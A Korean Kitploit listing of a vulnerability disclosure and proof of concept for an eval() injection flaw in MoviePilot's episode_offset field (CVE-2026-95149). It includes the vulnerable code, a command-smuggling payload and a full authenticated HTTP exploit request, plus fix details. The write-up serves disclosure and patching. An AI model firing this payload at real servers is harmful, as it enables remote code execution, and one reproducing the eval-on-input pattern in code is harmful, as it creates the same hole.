Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-95149 — CVE-2026-95149에 대한 개념 증명 및 근본 원인 분석으로, MoviePilot의 FormatParser에서 episode_offset의 eval() 주입을 통한 인증된 RCE이며, HTTP PoC와 수정 세부 정보를 포함합니다. | Kitploit
도구/GitHubGitHub/reputati0n/cve-2026-95149
Vulnerability AnalysisCode AnalysisExploitationWeb Application Exploitation
GitHubreputati0n/cve-2026-95149

CVE-2026-95149

CVE-2026-95149에 대한 개념 증명 및 근본 원인 분석으로, MoviePilot의 FormatParser에서 episode_offset의 eval() 주입을 통한 인증된 RCE이며, HTTP PoC와 수정 세부 정보를 포함합니다.

저장소 보기
26일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-95149 — episode_offset의 eval() 주입을 통한 인증된 RCE (MoviePilot FormatParser)

필드값
CVE IDCVE-2026-95149
제품MoviePilot (jxxghp/MoviePilot)
영향받는 버전<= v3.0.0
수정된 버전v3 브랜치 — 커밋 65b9c777de9194e40ba29dc17345afc5b4b4b0ba
심각도높음
공격 벡터원격, HTTP API를 통해
필요 권한인증된 관리 사용자 (admin 또는 management 역할 계정)
사용자 상호작용없음
보고일2026-09-11
공개 이슈jxxghp/MoviePilot#6644

근본 원인

FormatParser는 임의의 문자열을 받아들이고 해당 문자열에 "EP"가 포함되어 있는지 여부로만 분기합니다. 문자열의 나머지 부분이 올바른 형식의 산술 표현식인지 검증하지 않습니다:

elif "EP" in offset:
    self.__offset = offset

이후 여러 다운스트림 분기에서 텍스트 치환으로 Python 표현식을 구성하고 이를 직접 평가합니다:

start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part

int(...) 래퍼는 표현식의 반환 값만 제약할 뿐, 평가 중에 발생하는 부작용을 막지 못합니다. 따라서 페이로드에 포함된 함수 호출, import, 속성 접근은 최종 값이 int로 강제 변환되기 전에 실행됩니다.

명백한 완화책이 도움이 되지 않는 이유

흔히 시도되는 완화 방법은 페이로드에 0을 곱하여 산술 결과가 숫자로 유지되도록 하는 것입니다:

EP+__import__('os').system('touch /tmp/success')*0

이 방법도 여전히 동작합니다. 부작용(명령 실행)은 최종 덧셈이 int로 강제 변환되기 훨씬 전인 평가 중에 발생하므로, 공격자는 명령 실행 과 int() 타입 검사를 통과하는 값을 동시에 얻게 됩니다.

POC

POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br

{
  "fileitem": {
    "storage": "local",
    "path": "/configured/media/file.mkv",
    "type": "file",
    "name": "file.mkv"
  },
  "episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}

취약한 인스턴스에서는 MoviePilot 서비스 프로세스에 의해 /tmp/success가 생성됩니다. API 호출이 200을 반환하지 않으면 int() 캐스트에서 예외가 발생하지만, 주입된 명령은 이미 실행된 상태이므로 요청의 결과는 익스플로잇과 무관합니다.

참고 자료

  • 업스트림 이슈: https://github.com/jxxghp/MoviePilot/issues/6644
  • 수정 커밋: https://github.com/jxxghp/MoviePilot/commit/65b9c777de9194e40ba29dc17345afc5b4b4b0ba
  • 취약한 코드 경로: app/application/formatting.py (v3.0.0의 102행 및 184행)
  • 도달 경로: app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302
도구 다운로드